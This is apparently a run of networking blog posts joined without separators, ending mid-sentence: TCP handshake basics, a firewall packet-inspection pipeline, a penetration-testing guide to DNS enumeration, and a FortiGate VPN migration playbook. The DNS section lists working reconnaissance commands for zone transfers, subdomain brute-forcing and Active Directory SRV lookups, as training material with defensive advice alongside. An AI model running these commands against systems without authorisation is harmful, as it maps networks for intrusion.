Let's break it down properly — not the memorize-SYN-SYN-ACK-ACK-for-the-exam version, but the why it works this way version.

The Problem TCP Is Solving

IP — the layer underneath TCP — is a careless mail carrier. It'll take your packet and try to deliver it, but it makes zero promises. Packets can be dropped, duplicated, reordered, or delayed. IP shrugs at all of it.

TCP's whole job is to build a reliable, ordered, bidirectional stream on top of that unreliable foundation. To pull that off, both sides need to agree on a starting point: a number that lets them track every byte and detect anything that goes missing.

That agreement can't be one-sided. TCP is full-duplex — data flows both directions independently — so each side has its own starting number the other side must learn and confirm. Hold onto that idea. It's the entire reason the handshake is shaped the way it is.

The 30-Second Version

   Client                                      Server
     |                                            |
     |----------- SYN (seq=1000) ---------------->|   "Let's talk. My ISN is 1000."
     |                                            |
     |<---- SYN-ACK (seq=5000, ack=1001) ---------|   "Got it. My ISN is 5000. You ready?"
     |                                            |
     |----------- ACK (ack=5001) ---------------->|   "Got yours too. We're live."
     |                                            |
     |============= ESTABLISHED ==================|

Three segments. Two machines. Connection open. Now let's actually understand what each of those numbers is doing.

Step 1 — SYN: "Here's My Number"

The client kicks things off by sending a segment with the SYN flag set (short for synchronize). This packet carries the client's Initial Sequence Number (ISN) — let's say 1000.

That ISN isn't just a counter starting at zero. It's a randomized value, and that randomness matters for security (more on that later). It marks the first byte the client intends to send in this conversation.

At this point the client moves into the SYN-SENT state and waits.

Note: the SYN flag itself consumes one sequence number even though it carries no application data. That's why the next expected byte is ISN + 1, not ISN. This detail trips people up constantly.

Step 2 — SYN-ACK: "Got It, Here's Mine"

The server, which has been sitting in the LISTEN state, receives the SYN and does two things in a single segment:

• ACK the client's SYN by setting the acknowledgment number to 1001 (client's ISN + 1). Translation: "I've received everything up to 1000; send me 1001 next."

• SYN with its own randomized ISN — say 5000 — because the server needs to synchronize its half of the conversation too.

One packet, two flags: SYN-ACK. The server transitions to SYN-RECEIVED.

This combined segment is the clever part. Logically there are four things to exchange (each side's SYN and each side's ACK), but the server piggybacks its SYN onto its ACK. Four steps collapse into three.

Step 3 — ACK: "We're On"

The client receives the SYN-ACK, learns the server's ISN, and fires back a final ACK with acknowledgment number 5001 (server's ISN + 1).

Both sides now know:

• Each other's starting sequence numbers ✅

• That the other side received their starting number ✅

The connection is ESTABLISHED on both ends. Real data can flow.

Seeing It Live

Enough theory. Fire up tcpdump and watch a real handshake to a web server:

$ sudo tcpdump -i eth0 -n 'tcp port 443'

10:42:01.123456 IP 192.168.1.10.54321 > 93.184.216.34.443: Flags [S],  seq 1000, win 64240
10:42:01.145678 IP 93.184.216.34.443 > 192.168.1.10.54321: Flags [S.], seq 5000, ack 1001, win 65535
10:42:01.145890 IP 192.168.1.10.54321 > 93.184.216.34.443: Flags [.],  ack 5001, win 64240

Reading tcpdump's flag shorthand:

• [S] → SYN

• [S.] → SYN-ACK (the . is the ACK bit)

• [.] → ACK only

Notice the source port 54321 — that's an ephemeral port the client picked at random. The destination 443 is the well-known port for HTTPS. That four-tuple (source IP, source port, dest IP, dest port) uniquely identifies the connection.

By default tcpdump shows relative sequence numbers after the first packet. Add -S if you want the raw absolute values.

Why Three? Why Not Two or Four?

This is the question that separates "I memorized it" from "I get it."

Why not two? A two-way exchange would only synchronize one direction. The server would confirm the client's ISN, but the client would never confirm it received the server's ISN. The server would be left guessing whether its own sequence number ever landed. On a lossy network, that's a broken connection waiting to happen.

Why not four? Because the server's ACK and its SYN can ride in the same segment. There's no reason to send them separately, so TCP doesn't. Four logical messages, three physical packets.

Three is the minimum number of round trips required to reliably synchronize a full-duplex connection. Not tradition — math.

The Security Angle (Because Someone Always Abuses This)

A handshake this fundamental is also a juicy attack surface. Two classics worth knowing whether you sit on the red or blue side:

SYN Flood

Remember how the server allocates state and enters SYN-RECEIVED the moment it gets a SYN? An attacker exploits exactly that. They blast thousands of SYNs with spoofed source IPs and never send the final ACK. Each half-open connection sits in the server's backlog queue, chewing up memory, until the queue fills and legitimate clients get refused. Classic resource-exhaustion DoS.

Defense — SYN cookies. Instead of storing state for every incoming SYN, the server cryptographically encodes the connection details into the ISN it sends back. It allocates nothing. Only when a valid final ACK arrives — carrying that encoded value back as ack — does the server reconstruct the connection and commit resources. No ACK, no cost. Elegant.

Blue-team tip: a spike of half-open connections (netstat -ant | grep SYN_RECV) or a lopsided SYN-to-ACK ratio on the wire is your smoke signal.

Sequence Number Prediction

Now you see why ISNs are randomized. If an attacker can predict the ISN a server will choose, they can forge packets that look like they belong to a legitimate connection — injecting data or hijacking the session entirely, all without ever seeing the responses.

This isn't hypothetical. The 1994 attack on Tsutomu Shimomura's machines — the one that eventually landed Kevin Mitnick in the headlines — hinged on exactly this: old TCP stacks incremented ISNs by a fixed, guessable amount. Modern stacks use randomized ISNs specifically to slam that door shut.

And a cousin worth naming: RST injection. Forge a packet with the RST flag and the right sequence number, and you can tear a connection down mid-stream. Nation-state censorship systems have leaned on this trick for years to kill connections they don't like.

The State Machine, Condensed

If you remember one diagram, make it this one:

Client:  CLOSED → SYN-SENT → ESTABLISHED
Server:  CLOSED → LISTEN → SYN-RECEIVED → ESTABLISHED

The client initiates, so it goes straight to SYN-SENT. The server waits in LISTEN, then briefly parks in SYN-RECEIVED after the first SYN before both sides land in ESTABLISHED. Interviewers love asking you to trace these transitions — now you can.

Gotchas That Show Up in Interviews (and Prod)

• SYN and FIN each consume a sequence number, despite carrying no data. Off-by-one bugs in analysis live here.

• The handshake opens a connection; a separate four-way exchange (FIN/ACK in each direction) closes it. Don't conflate the two.

• Connection setup costs you a full round trip before any data moves. It's why latency-sensitive folks reach for TCP Fast Open, connection reuse, or QUIC, which folds the handshake into the crypto setup.

• A RST at any point is TCP's hard stop — "this connection is invalid, drop it now." Seeing unexpected RSTs is often your first clue something upstream (a firewall, a load balancer, an attacker) is interfering.

Wrapping Up

The three-way handshake is small enough to sketch on a napkin and deep enough to power the entire modern internet. Every step exists for a reason:

1. SYN — client shares its randomized ISN and enters SYN-SENT.

2. SYN-ACK — server acknowledges it and shares its own ISN in one segment.

3. ACK — client confirms the server's ISN; both sides are ESTABLISHED.

Three packets to turn IP's careless best-effort delivery into a reliable, ordered, bidirectional stream — with just enough attack surface to keep security engineers employed.

Next time you run tcpdump and watch that [S] [S.] [.] sequence flash by, you'll know exactly what those three machines just agreed to.

It's 9:14 AM. Somewhere on your LAN, a laptop clicks "Join Meeting." A single TCP packet is born, wrapped in an Ethernet frame, and fired down the wire toward the firewall.

It has no idea what's coming.

In the next eight milliseconds, this packet will be inspected, classified, translated, decrypted, fingerprinted, tied to a human name, scanned for malware, prioritized, logged, and — if it behaves — sent on its way. Fifteen checkpoints. Any one of them can end its journey.

Let's ride along.

Checkpoint 1–3: The Bouncer at the Door

The packet arrives at the ingress interface and immediately meets resistance. Before it gets to say a word about where it's going, the firewall pats it down at Layer 2 and Layer 3.

"Interface up? Good. VLAN tag valid? Checks out. MAC address make sense? Fine. Not oversized past the MTU? Move along."

Then Layer 3: source IP, destination IP, TTL still alive, header checksum intact. This is the unglamorous part — no intelligence, no policy, just structural sanity. But it's ruthless. A corrupted checksum or a TTL that hit zero, and the packet dies right here in the doorway, no explanation given.

Most packets never think about these stages. They're the equivalent of a metal detector — invisible until you're the one it stops.

Our packet is clean. It passes. Now the interesting part begins.

Checkpoint 4: The Fork in the Road

This is where an NGFW stops being a firewall and starts being a decision engine.

The firewall glances at its session table — a running memory of every conversation currently in flight — and asks one question: "Have I seen you before?"

For our packet, the answer is no. It's the very first packet of a brand-new flow. So it gets shoved down the slow path — the scenic route, the full-body scan, every expensive checkpoint ahead of it.

        ┌─────────────────────────┐
        │   Do I know this flow?  │
        └───────────┬─────────────┘
                    │
        ┌───────────┴───────────┐
        ▼                       ▼
   ┌─────────┐            ┌──────────────┐
   │  YES →  │            │   NO →       │
   │FAST PATH│            │  SLOW PATH   │
   │ skip the│            │ run the full │
   │ scanning│            │  gauntlet    │
   └─────────┘            └──────────────┘

Here's the payoff, and it's the single most important idea in this entire post: this pain happens exactly once. Once our packet clears the gauntlet, the firewall writes a session-table entry — policy decision, NAT translation, app identity, all cached. Every packet behind it in the same flow takes the fast path and skips straight to the exit.

That's why NGFW throughput numbers look schizophrenic — brutal on the first packet, blistering on the millionth. And it's why, when a session misbehaves, half of all firewall troubleshooting starts with the same move: clear the session, force it back onto the slow path, watch it get re-evaluated from scratch.

Our packet, unfortunately, is the first. It takes the scenic route.

Checkpoint 5–6: "Where Are You Going, and Whose Turf Is That?"

Route lookup first: the firewall consults its routing table, picks a next hop and an outgoing interface. Basic navigation.

Then zone identification, which is where firewalls start thinking in terms of trust instead of topology. The packet isn't just going from interface A to interface B — it's crossing from LAN to DMZ, or Trust to Untrust. Zones are the firewall's political map. A packet's origin zone and destination zone are about to decide whether it's even allowed to have this conversation.

Our packet is leaving Trust and heading toward Untrust — off to the public internet. Noted.

Checkpoint 7: The Disguise

Before anyone judges our packet, it gets a new identity.

NAT rewrites its source address — the private 10.x it was born with becomes a public IP the internet can actually route back to. Source NAT, destination NAT, static, dynamic; the flavor depends on the setup.

But here's the trap that has burned more engineers than any other single item on this list:

The order of NAT and policy evaluation varies by vendor — and it silently breaks rulebases.

On some platforms the security policy matches on the original (pre-NAT) address. On others, the post-NAT address. Write a rule referencing the public IP on a firewall that matches on the private one, and your rule never hits. No error. No warning. The traffic just quietly falls to the default deny, and you spend an hour staring at a rule that looks perfect.

FortiGate, Palo Alto, and Cisco each handle this dance a little differently. Knowing your platform's choreography here isn't trivia — it's the difference between a rule that works and a ghost that doesn't.

Checkpoint 8: Judgment Day

Now the big one. The security policy evaluation.

The firewall lines our packet up against the rulebase and checks everything at once: source zone, destination zone, source IP, destination IP, user, application, service. It reads top to bottom, first match wins.

And if nothing matches? The packet meets the most feared line in any firewall config — the implicit deny at the bottom. Silent, absolute, no appeal.

Notice the philosophy here: this stage decides whether the conversation is allowed to exist at all. It hasn't looked inside the packet yet. It hasn't checked for malware. It's answering a simpler, more fundamental question — "should these two ever talk?" Only if the answer is yes does the firewall bother spending real CPU on what comes next.

Our packet matches a rule: Trust → Untrust, Employees group, allow collaboration apps. Permission granted. It lives to see the next checkpoint.

Checkpoint 9: Cracking It Open

Up to now, the firewall has judged our packet by its envelope. Now it wants to read the letter inside.

Problem: the letter is in a locked box. It's TLS-encrypted, like nearly everything on the modern internet.

So the firewall does something audacious. With SSL/TLS inspection enabled, it performs a sanctioned man-in-the-middle: intercepts the encrypted session, terminates it, decrypts the payload, reads everything in plaintext, then re-encrypts it with its own certificate before sending it onward. (This is why that internal CA cert has to live on every endpoint — without it, every browser screams "untrusted.")

Without this step, the firewall is a security guard reading the outside of sealed envelopes — it can see the address and the size, and guess a little, but never the contents. Malware hiding inside HTTPS walks right past.

With it, the box is open. Everything after this checkpoint gets to see the truth.

(It's not free — decryption is CPU-expensive, some apps hard-fail on cert pinning, and there's a real privacy conversation about what you should and shouldn't decrypt. But that's a story for another post.)

Checkpoint 10–11: "What Are You, Really? And Who Sent You?"

Now that the payload is readable, the firewall gets nosy.

App-ID ignores the port number entirely. Port 443 means nothing here — could be Zoom, could be Teams, could be a command-and-control beacon wearing an HTTPS costume. The firewall fingerprints the actual application from its behavior and signatures. Our packet? Confirmed: it really is a video conferencing app. The disguise doesn't work in here.

Then User-ID does something even more human. Through Active Directory or LDAP integration, it maps the packet's IP back to an actual person. Our packet stops being "traffic from 10.1.5.42" and becomes "traffic from Sarah in Marketing."

This is the quiet superpower of an NGFW. Suddenly policy can say "allow the Marketing team to use Zoom but block the Contractors group from unsanctioned file sharing" — a sentence that's flat-out impossible to write with IP addresses and port numbers alone.

Checkpoint 12: The Full Body Scan

Our packet has been allowed to exist (Checkpoint 8). Now the firewall asks the other question: "Are you dangerous?"

A whole squad of engines takes turns:

• IPS — matches against known exploit patterns and anomalies

• Antivirus & anti-malware — scans files, often detonating unknowns in a sandbox

• Anti-spyware — hunts for outbound C2 beaconing, the fingerprint of an already-owned host

• URL & DNS filtering — checks reputation and category, the front line against phishing

If any engine finds something, the firewall has options — block, reset the connection, quarantine, or just alert. Our packet is clean video traffic. It survives the scan.

But notice: everything so far allowed the conversation. This is the layer that could still kill it — not because it's against the rules, but because it's a threat. Allowed and safe are two different verdicts, and the packet needs both.

Checkpoint 13–15: The Home Stretch

The hard part is over. Our packet has been vetted, identified, named, and cleared. Now the firewall just finishes the paperwork.

QoS gives it a priority stamp — this is real-time video, so it jumps the queue ahead of some bulk file transfer, gets its DSCP marking, and rides a shaped, prioritized path.

Logging writes the whole story down: source, destination, the user (Sarah), the app (video conferencing), the action (allow), the NAT translation, bytes, duration, URLs. Every field in that log line is a receipt from a checkpoint the packet already passed. This is the data your SIEM will feast on later.

And finally, egress. The firewall does its last housekeeping — recalculates the checksum it invalidated during NAT, re-encrypts if inspection touched the payload, re-encapsulates the frame — and pushes our packet out the chosen interface.

Eight milliseconds after it arrived, our packet crosses to the other side. Sarah's meeting connects. She never knew any of this happened.

The Whole Journey, One Glance

   WIRE
    │
    ▼
 [1-3]  L2/L3 sanity ......... "Are you even well-formed?"
    │
    ▼
 [4]    Session lookup ....... "Have I seen you before?" ──► known? FAST PATH out
    │ (new flow, slow path)
    ▼
 [5-6]  Route + Zone ......... "Where to, and whose turf?"
    │
    ▼
 [7]    NAT ................. "Here's your new identity"
    │
    ▼
 [8]    Security policy ...... "Are you ALLOWED to exist?"  ──► no match? IMPLICIT DENY
    │
    ▼
 [9]    SSL decrypt ......... "Let me open that box"
    │
    ▼
 [10-11] App-ID + User-ID .... "What are you? Who sent you?"
    │
    ▼
 [12]   Threat prevention .... "Are you DANGEROUS?"  ──► threat? BLOCK / RESET
    │
    ▼
 [13-15] QoS + Log + Egress .. "Prioritize, record, ship it"
    │
    ▼
   OTHER SIDE

Why Any of This Matters at 2 AM

Here's the real reason to carry this map in your head: every firewall ticket you'll ever work is really just the question "at which checkpoint did the packet's fate diverge from what I expected?"

• Traffic hitting the wrong policy? → The session table is stuck on an old decision (Checkpoint 4). Clear it.

• Rule that should match but doesn't? → NAT-vs-policy order, and you referenced the wrong-side address (Checkpoints 7–8).

• App showing up as unknown-tcp? → SSL inspection is off, or you're judging too early in the flow (Checkpoints 9–10).

• User-based rule not applying? → User-ID mapping is stale (Checkpoint 11).

• Allowed something that should've been blocked? → Your threat profile's scope or action is wrong (Checkpoint 12).

Once you can walk this pipeline in your sleep, you stop guessing where a problem lives. You put your debug hook on the exact checkpoint and watch the packet make its choice.

And more than that — you start designing rulebases around how the firewall actually thinks, instead of the fairy tale that "it just checks IP and port."

That fairy tale died years ago. This is what really happens in the eight milliseconds nobody sees.

Written from the FortiGate trenches. The 15-checkpoint skeleton holds across every serious NGFW — Palo Alto, Cisco, Check Point — but the exact choreography of NAT, policy, and zones shifts per vendor. Know your platform's dance.

Here's the thing nobody tells you about port 53: it will almost never give you a shell.

FTP throws you a foothold. SMB chains you to SYSTEM. DNS does neither. What DNS does is quieter and, on the right box, far more valuable — it hands you the map. Every other hostname on the network. The mail server. The hidden subdomain running the vulnerable app. In a Windows shop, the domain controller itself, wearing a name tag. DNS is the directory the whole network published on purpose and then forgot to lock, and a single misconfigured server can dump the entire layout of an organization in one command.

So when you find port 53 open, don't ask "how do I exploit this?" Ask "what is this thing willing to tell me about everything else?" Because the answer routes straight into your web enumeration, your SMB attacks, and — if there's a domain — your eventual path to Domain Admin. DNS isn't the destination. It's the directions.

First, what you're actually talking to

DNS — the Domain Name System — translates names humans can remember into IPs machines can route. It runs on port 53, and the dual-protocol detail matters:

• UDP 53 — normal lookups. Fast, fire-and-forget, the bulk of traffic.

• TCP 53 — used for responses too big for a UDP packet and, crucially, for zone transfers. When you hear "AXFR," you're talking TCP.

The records you'll care about:

• A / AAAA — name → IPv4 / IPv6.

• NS — the authoritative nameservers for a zone.

• MX — mail servers (and a hint at the mail stack you'll enumerate next).

• TXT — free-text records; SPF, verification strings, and the occasional embarrassing secret.

• CNAME — aliases pointing one name at another.

• SOA — the zone's "start of authority"; tells you the primary nameserver.

• PTR — reverse lookups, IP → name.

• SRV — service locator records. In Active Directory these are gold: they advertise exactly where LDAP, Kerberos, and the DCs live.

Two roles worth distinguishing: an authoritative server holds the real records for a zone; a recursive resolver answers on others' behalf. On OSCP boxes you're usually poking an authoritative server for a zone it owns.

Step 1 — Enumerate before you touch anything

nmap first, both to confirm it's really DNS and to grab the default scripts:

nmap -p53 -sV -sC 10.10.10.10
nmap -p53 --script "dns-*" 10.10.10.10

PORT   STATE SERVICE VERSION
53/tcp open  domain  ISC BIND 9.11.3-1ubuntu1.2
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.2

Write down the software and version — BIND 9.x here. Version → searchsploit reflex still applies, though be honest with yourself: pre-auth BIND RCE is rare. DNS pays out through information, not CVEs, the vast majority of the time.

You can also ask the server its version directly — a classic info-disclosure check:

dig version.bind CHAOS TXT @10.10.10.10
# ;; ANSWER SECTION:
# version.bind.  0  CH  TXT  "9.11.3-1ubuntu1.2"

Step 2 — Learn the lay of the land with dig

dig is the scalpel. nslookup and host work too, but dig gives you the cleanest output and it's what you'll reach for. The pattern is always dig @server name type.

First, figure out what domain this server is authoritative for (often revealed by nmap, a web cert, an SMB smb-os-discovery, or just the box's intro). Say it's corp.local. Pull the key records:

dig @10.10.10.10 corp.local NS        # nameservers
dig @10.10.10.10 corp.local MX        # mail servers
dig @10.10.10.10 corp.local TXT       # text records
dig @10.10.10.10 corp.local SOA       # primary nameserver
dig @10.10.10.10 corp.local A         # the host itself

The NS answer matters most right now, because the nameserver it names is the box you'll aim your zone-transfer attempt at in the next step.

Step 3 — The jackpot: zone transfer (AXFR)

A zone transfer is the mechanism a primary nameserver uses to replicate its full zone to a secondary. It's meant to be restricted to known secondaries. When it isn't — and on lab boxes it frequently isn't — anyone can ask for the entire zone and get every record in it. Every hostname, every IP, in one shot.

dig axfr @10.10.10.10 corp.local

When it works, it's a thing of beauty:

corp.local.        604800  IN  SOA   ns1.corp.local. admin.corp.local. ...
corp.local.        604800  IN  NS    ns1.corp.local.
corp.local.        604800  IN  MX    10 mail.corp.local.
ns1.corp.local.    604800  IN  A     10.10.10.10
mail.corp.local.   604800  IN  A     10.10.10.11
dev.corp.local.    604800  IN  A     10.10.10.12
intranet.corp.local. 604800 IN A     10.10.10.13
vpn.corp.local.    604800  IN  A     10.10.10.14
corp.local.        604800  IN  AXFR  ...

Read what just happened: you now know dev, intranet, and vpn exist — subdomains you'd never have guessed, each a fresh attack surface with its own IP. dev boxes are notoriously under-hardened. intranet is begging for a web look. That's the whole network's blueprint, free.

host does the same thing if you prefer it:

host -l corp.local 10.10.10.10

And the tools that wrap it with extras:

dnsrecon -d corp.local -n 10.10.10.10 -t axfr
fierce --domain corp.local --dns-servers 10.10.10.10
dnsenum corp.local

If you get Transfer failed or connection timed out; no servers could be reached, the server is configured correctly and won't transfer to you. That's normal. Move to Step 4.

Step 4 — When AXFR is locked: brute the subdomains

Most real servers refuse the zone transfer. So you guess — throw a wordlist of common subdomain names and keep the ones that resolve.

# gobuster — fast and clean
gobuster dns -d corp.local -r 10.10.10.10 \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# dnsrecon brute mode
dnsrecon -d corp.local -n 10.10.10.10 -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt

# ffuf via the Host header (great for vhost discovery on web boxes)
ffuf -u http://10.10.10.10 -H "Host: FUZZ.corp.local" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0

A hit looks like:

Found: dev.corp.local       10.10.10.12
Found: admin.corp.local     10.10.10.10

For external/real-world recon there's also the passive route — pulling subdomains from public sources without ever touching the target:

subfinder -d corp.com
amass enum -passive -d corp.com

On the exam you're usually inside a lab range, so brute-forcing against the box's own DNS server is the move.

Step 5 — Turn the map into access

DNS recon is only worth anything if you use what it reveals. Three patterns that turn records into footholds.

Pattern A — Feed your /etc/hosts (the step everyone forgets)

Here's the OSCP gotcha that eats hours: you find intranet.corp.local, you browse to the IP, and you get the default page — or nothing. That's because the web server is virtual-hosting on the name, and your browser asked by IP. The fix is to map the names you discovered into your hosts file so you can reach them:

echo "10.10.10.13 intranet.corp.local corp.local mail.corp.local" | sudo tee -a /etc/hosts
# now: curl http://intranet.corp.local/  -> the real app appears

This single step is the difference between "there's nothing on port 80" and finding the actual application. Burn it into your process: every hostname from DNS goes into /etc/hosts before you touch the web server.

Pattern B — The Active Directory tell

If the DNS server is also a domain controller — extremely common, because AD runs its own DNS — the SRV records map the entire domain's plumbing for you:

nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local 10.10.10.10
nslookup -type=SRV _kerberos._tcp.corp.local 10.10.10.10
dig @10.10.10.10 _ldap._tcp.corp.local SRV

Those answers hand you the DC hostnames and confirm you're looking at an AD environment — which tells you the real fight is coming in Phase 4, and that this DNS box is also your LDAP, Kerberos, and SMB target. One service just told you the shape of the whole domain.

Pattern C — Reverse sweeps fill in the blanks

Know the subnet but not the names? Walk the PTR records:

dnsrecon -r 10.10.10.0/24 -n 10.10.10.10        # reverse lookup the range

Reverse records often name boxes that forward enumeration missed — backup-dc, sql01, fileserver — each a labeled door.

The blue side (because the report needs it)

DNS findings are easy to write up and easy to fix, which makes them satisfying report material:

• Restrict zone transfers to known secondary nameservers only (allow-transfer). An open AXFR is a textbook finding — it leaks your entire internal naming scheme to anyone who asks.

• Split-horizon DNS. Internal records (dev, backup-dc, sql01) should never be resolvable from outside. Separate the internal and external views.

• Suppress version disclosure. version.bind handing out your exact BIND build is free reconnaissance for an attacker matching CVEs.

• Lock down dynamic updates so an attacker can't register or overwrite records.

• Log and monitor for AXFR attempts and high-volume lookups — subdomain brute-forcing is loud if anyone's listening.

A strong report says: here's the zone transfer that dumped your full host inventory, here are the four internal subdomains it exposed including a dev box two patches behind, and here's the allow-transfer line that closes it.

Cheat sheet — fourth one for the wall

# Identify
nmap -p53 -sV -sC 10.10.10.10
nmap -p53 --script "dns-*" 10.10.10.10
dig version.bind CHAOS TXT @10.10.10.10        # version disclosure

# Query records
dig @10.10.10.10 corp.local NS                 # nameservers
dig @10.10.10.10 corp.local MX                 # mail servers
dig @10.10.10.10 corp.local ANY                # everything it'll give

# Zone transfer (the jackpot)
dig axfr @10.10.10.10 corp.local
host -l corp.local 10.10.10.10
dnsrecon -d corp.local -n 10.10.10.10 -t axfr

# Subdomain brute (when AXFR fails)
gobuster dns -d corp.local -r 10.10.10.10 -w <subdomain-wordlist>
dnsrecon -d corp.local -n 10.10.10.10 -D <wordlist> -t brt
ffuf -u http://10.10.10.10 -H "Host: FUZZ.corp.local" -w <wordlist> -fs 0

# Active Directory tells
dig @10.10.10.10 _ldap._tcp.corp.local SRV
nslookup -type=SRV _kerberos._tcp.corp.local 10.10.10.10

# THE step everyone forgets
echo "10.10.10.13 intranet.corp.local corp.local" | sudo tee -a /etc/hosts

The mindset to carry forward

DNS rewards a different instinct than anything before it. FTP, SSH, and SMB were about getting in. DNS is about getting oriented — it's the recon that makes every later attack faster and more precise.

The candidates who skim past port 53 are the same ones who later swear "there's nothing on the web server," not realizing the real app was vhosted on a name they never bothered to resolve. The map was right there. They just didn't read it. A zone transfer is the whole network handed to you on a plate; a brute-forced subdomain is the one door the front-facing scan never saw; an SRV record is the domain controller introducing itself.

Don't treat DNS as a box to tick. Treat it as the part of the engagement where the target draws you a diagram of itself — and then update your /etc/hosts and go knock on every door it just showed you.

Next in the series: SMTP, POP3, and IMAP — ports 25, 110, and 143, where the mail stack will happily confirm which usernames are real before you've sent a single password.

Enumerate everything. Trust nothing. Try harder.

There's a particular kind of change every network engineer learns to respect: the one where, if you get it wrong, nobody can work. Remote access is that change. When the tunnel is down, sales can't sell, support can't support, and finance can't close the month. So when Fortinet announced that SSL VPN tunnel mode was being removed from FortiOS — not deprecated, removed — I didn't read it as a config note. I read it as a deadline attached to a business-continuity problem.

If you run FortiGate firewalls and you still use SSL VPN for remote access, this article is the playbook I wish more people published: not just the CLI, but the sequence, the change management, and the business framing that turns a scary migration into a non-event.

Why this is happening — and why "do nothing" is the riskiest option

Starting in FortiOS 7.6.3, SSL VPN tunnel mode is gone. Pulled from both the GUI and the CLI, on every model. The configuration does not carry forward when you upgrade. The driver isn't fashion — it's the long, ugly history of SSL VPN vulnerabilities that made it one of the most reliably exploited entry points in enterprise networking. Fortinet finally closed the door instead of patching the hinges.

That creates two facts you have to hold at once:

1. If you use SSL VPN tunnel mode, you must migrate to IPsec before you can upgrade to 7.6.3+. The upgrade will strip the config and remote access will break.

2. Staying put is not "safe." Refusing to migrate means staying on aging firmware you can't safely patch — accumulating exactly the exposure that turns into an incident, an audit finding, or a failed cyber-insurance renewal.

This is the part that matters when you talk to leadership: the migration is not optional new work. It is risk you are already carrying, and this is the moment to retire it. Framed that way, you're not asking for a maintenance window — you're reducing the company's attack surface and getting current on patches at the same time.

A quick note to avoid confusion: SSL VPN web mode still exists, rebranded as "Agentless VPN." It's clientless browser access and is not a replacement for full-tunnel remote access. This guide is about replacing the full tunnel, which means IPsec.

The mindset shift: this is a change-management exercise, not a config task

Here's the uncomfortable truth I've made peace with: the CLI is the easy 20% of this job. Anyone can paste an IPsec phase 1. The other 80% — the part that actually earns your title — is doing it without taking remote access down for the whole company.

The whole approach rests on one principle:

Migrate on the current firmware. Validate everything. Upgrade last.

SSL VPN and IPsec coexist on pre-7.6.3 firmware. That single fact is your safety net. It means you never have to "rip and replace." You build IPsec alongside the working SSL VPN, prove it, move users over gradually, and only then schedule the firmware upgrade — by which point all the risk has already been retired.

Everything below is that principle, expanded.

Step 1 — Discovery before you touch anything

You are not rebuilding a tunnel. You are reproducing a user experience. If you skip discovery, users will "lose" resources they had yesterday and you'll spend your maintenance window doing forensics instead of cutover.

Capture the current SSL VPN completely:

• Split-tunnel scope — full tunnel or split, and the exact subnets/routes pushed to clients.

• DNS — the DNS servers and any split-DNS / domain settings handed to clients.

• Authentication — local, LDAP, RADIUS, or SAML (e.g. Entra ID), plus the user/group bindings.

• MFA — FortiToken, RADIUS-based, or IdP-enforced.

• The public FQDN users connect to today (you'll reuse it so nothing changes for them).

Pull the relevant config and see who's actually connected right now:

show vpn ssl settings
show vpn ssl web portal
get vpn ssl monitor          # who is connected at this moment

Write it all down. This document is your acceptance criteria later.

Step 2 — Take a backup. Then take it seriously.

This is non-disruptive and it is non-negotiable. Before you change a single line, you capture a known-good configuration off-box. It's your rollback artifact and your reference.

execute backup config <tftp|ftp|usb|scp> ...

Store it somewhere safe, and sanitize secrets (PSKs, passwords, SNMP communities) before it goes anywhere it shouldn't. I take a fresh backup again immediately before the firmware upgrade, because the gap between "start of project" and "upgrade night" can be days, and a lot can change.

If there's one habit that separates the engineers who sleep well from the ones who don't, it's this: you never make a change you can't undo, and the backup is how you guarantee that.

Step 3 — Scope it honestly (know your blast radius)

Two questions decide how this migration runs:

• One site or all of them?

• FortiManager-managed or standalone?

Standalone means box-by-box: each unit configured, validated, and cut over individually. FortiManager-managed means you can template the migration across many devices — which is powerful, but a bad push hits everyone at once. Know which problem you have before you start, because it changes your entire execution model and your risk profile.

This is the kind of thing leadership actually understands when you phrase it as blast radius: "If something goes wrong, does it affect one office or the whole company?" Answer that before you build anything.

Step 4 — Verify the path before the window

The most demoralizing way to fail a migration is to discover a showstopper during the maintenance window. Catch these beforehand:

• IPsec requires UDP/500, UDP/4500 (NAT-T), and ESP to be open end-to-end. If an upstream ISP or a customer network blocks them, plan IPsec over TCP/443 instead — which, conveniently, is the same port SSL VPN used, so it works from the same restrictive networks your users connect from.

• The client IP pool must not overlap any existing internal subnet, the old SSL VPN pool, or any site-to-site remote subnet. An overlapping mode-config pool is the single most common cause of "the tunnel connects but nothing works."

Five minutes of path verification saves you an hour of debugging in front of an audience.

Step 5 — Build IPsec alongside SSL VPN

Now the config. This is a dial-up IPsec setup using IKEv2 with mode-config (the FortiGate assigns client IPs) and user-group authentication — the modern replacement for SSL VPN tunnel mode. Placeholders in angle brackets get replaced with the customer's real values.

Phase 1:

config vpn ipsec phase1-interface
    edit "RA-IPsec"
        set type dynamic
        set interface "wan1"
        set ike-version 2
        set authmethod psk            # or signature for cert-based
        set mode-cfg enable           # server assigns client IPs
        set ipv4-start-ip 10.212.10.1
        set ipv4-end-ip 10.212.10.254
        set ipv4-netmask 255.255.255.0
        set dns-mode auto
        set ipv4-dns-server1 10.10.0.10
        set ipv4-split-include "RA-split-routes"
        set authusrgrp "VPN-Users"
        set save-password enable
        set client-auto-negotiate enable
        set proposal aes256-sha256
        set dpd on-idle
        set psksecret <REPLACE-WITH-STRONG-PSK>
    next
end

Phase 2:

config vpn ipsec phase2-interface
    edit "RA-IPsec"
        set phase1name "RA-IPsec"
        set proposal aes256-sha256
        set keepalive enable
    next
end

The split-tunnel address object — this reproduces the SSL VPN split-tunnel routing list. Match the old scope exactly, or users feel it as "I can't reach X anymore":

config firewall address
    edit "RA-split-routes"
        set type ipmask
        set subnet 10.10.0.0 255.255.0.0
    next
end

The gotcha that catches everyone: firewall policies don't migrate

This is the one that bites hard. Firewall policies are not migrated automatically. Your old ssl.root policy means nothing to the new IPsec interface. The tunnel will come up, the client will get an IP — and pass zero traffic — until you rebuild the policy against the new tunnel interface:

config firewall policy
    edit 0
        set name "RA-IPsec-to-LAN"
        set srcintf "RA-IPsec"
        set dstintf "lan"
        set srcaddr "all"
        set dstaddr "RA-split-routes"
        set action accept
        set schedule "always"
        set service "ALL"
        set groups "VPN-Users"
        set nat disable
    next
end

If you remember one technical detail from this entire article, make it this one. "Tunnel's up but nothing works" is almost always a missing or wrong firewall policy.

Step 6 — The endpoint side, and where cutover is actually controlled

The FortiClient profile is where you control the migration, and FortiClient EMS is the lever. The trick is to stage, not switch:

